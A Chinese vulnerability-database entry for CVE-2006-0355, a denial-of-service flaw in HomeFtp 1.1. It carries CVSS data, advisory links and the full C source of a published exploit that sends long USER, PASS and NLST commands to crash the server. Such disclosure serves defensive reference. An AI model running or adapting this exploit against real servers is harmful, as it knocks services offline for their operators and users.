CVE-2006-0355
CVSS5.0
发布时间 :2006-01-22 15:03:00
修订时间 :2008-09-05 16:59:02
NMCOE    

[原文]Helmsman Research (aka CoolUtils) HomeFtp 1.1 allows remote attackers to cause an unspecified denial of service via a long USER command combined with a long PASS command and an NLST command.


[CNNVD]Helmsman HomeFtp远程拒绝服务漏洞(CNNVD-200601-291)

        Helmsman Research(也称为CoolUtils)HomeFtp 1.1存在拒绝服务漏洞,远程攻击者可以通过长USER命令、长PASS命令和NLST命令的组合,使系统因未指定的原因拒绝服务。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0355
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0355
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-291
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/archive/1/421869/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060114 [KAPDA::#21] - HomeFtp v1.1 Denial of Service
http://www.kapda.ir/advisory-202.html
(VENDOR_ADVISORY)  MISC  http://www.kapda.ir/advisory-202.html
http://xforce.iss.net/xforce/xfdb/24152
(UNKNOWN)  XF  homeftp-long-command-dos(24152)
http://www.securityfocus.com/bid/16238
(UNKNOWN)  BID  16238
http://securityreason.com/securityalert/350
(UNKNOWN)  SREASON  350

- 漏洞信息

Helmsman HomeFtp远程拒绝服务漏洞
中危 其他
2006-01-22 00:00:00 2006-01-30 00:00:00
远程  
        Helmsman Research(也称为CoolUtils)HomeFtp 1.1存在拒绝服务漏洞,远程攻击者可以通过长USER命令、长PASS命令和NLST命令的组合,使系统因未指定的原因拒绝服务。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本。

- 漏洞信息 (1416)

HomeFtp 1.1 (NLST) Denial of Service Vulnerability (EDBID:1416)
windows dos
2006-01-14 Verified
0 pi3ch
N/A [点击下载]
/*
HomeFtp v1.1 Denial of Service
original advisory: http://kapda.ir/advisory-202.html
homeftp_v1.1_xpl.c
----------------------------------------
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define  POCSTR "USER %s\x0d\x0aPASS %s\x0d\x0aNLST\x0d\x0a"

int header();
int usage(char *filename);
int remote_connect( char* ip, unsigned short port );

int header() {
printf("\n[i] KAPDA - Computer Security Science Researchers Institute\n\n");
printf("[i] Title:              \tHomeFTP <= v1.1 Dos Exploit\n");
printf("[i] Discovered by:      \tcvh {a] kapda.ir\n");
printf("[i] Exploit by:         \tPi3cH {a] kapda.ir\n");
printf("[i] More info:          \twww.kapda.ir/page-advisory.html\n\n");
return 0;
}

int usage(char *filename) {
printf("[i] Usage:   \t%s HOST PORT USERNAME PASSWORD\n",filename);
printf("[i] Example: \t%s 127.0.0.1 21 anonymous none\n\n",filename);
exit(0);
}

int remote_connect( char* ip, unsigned short port )
{
int s;
struct sockaddr_in remote_addr;
struct hostent* host_addr;

memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
if ( ( host_addr = gethostbyname ( ip ) ) == NULL )
{
printf ( "[e] Cannot resolve \"%s\"\n", ip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons ( port );
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "[e] Socket failed!\n" );
exit(1);
}
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
{
printf ( "[e] Failed connecting!\n" );
       exit(1);
}
return ( s );
}


int main(int argc, char *argv[]) {
 int s;
 char *request;
 header();
 if( (argc < 5) )
     usage(argv[0]);
 request = (char *) malloc(1024);
 printf("[r] Connecting to remote host\n");
 s = remote_connect(argv[1],atoi(argv[2]));
 sleep(1);
 printf("[r] Creating buffer\n");
 sprintf(request,POCSTR,argv[3],argv[4]);
 printf("[r] Sending %d bytes of DOS buffer\n",strlen(request));
 if ( send ( s, request, strlen (request), 0) <= 0 )
 {
         printf("[e] Failed to send buffer\n");
         close(s);
         exit(1);
 }
 sleep(1);
 printf("[s] Exploit Done!\n");
 close(s);
 free(request);
 request = NULL;
 return 0;
}

// milw0rm.com [2006-01-14]
		

- 漏洞信息

22686
CoolUtils HomeFtp Malformed NLST Command Remote DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-01-14 2005-08-21
2006-01-14 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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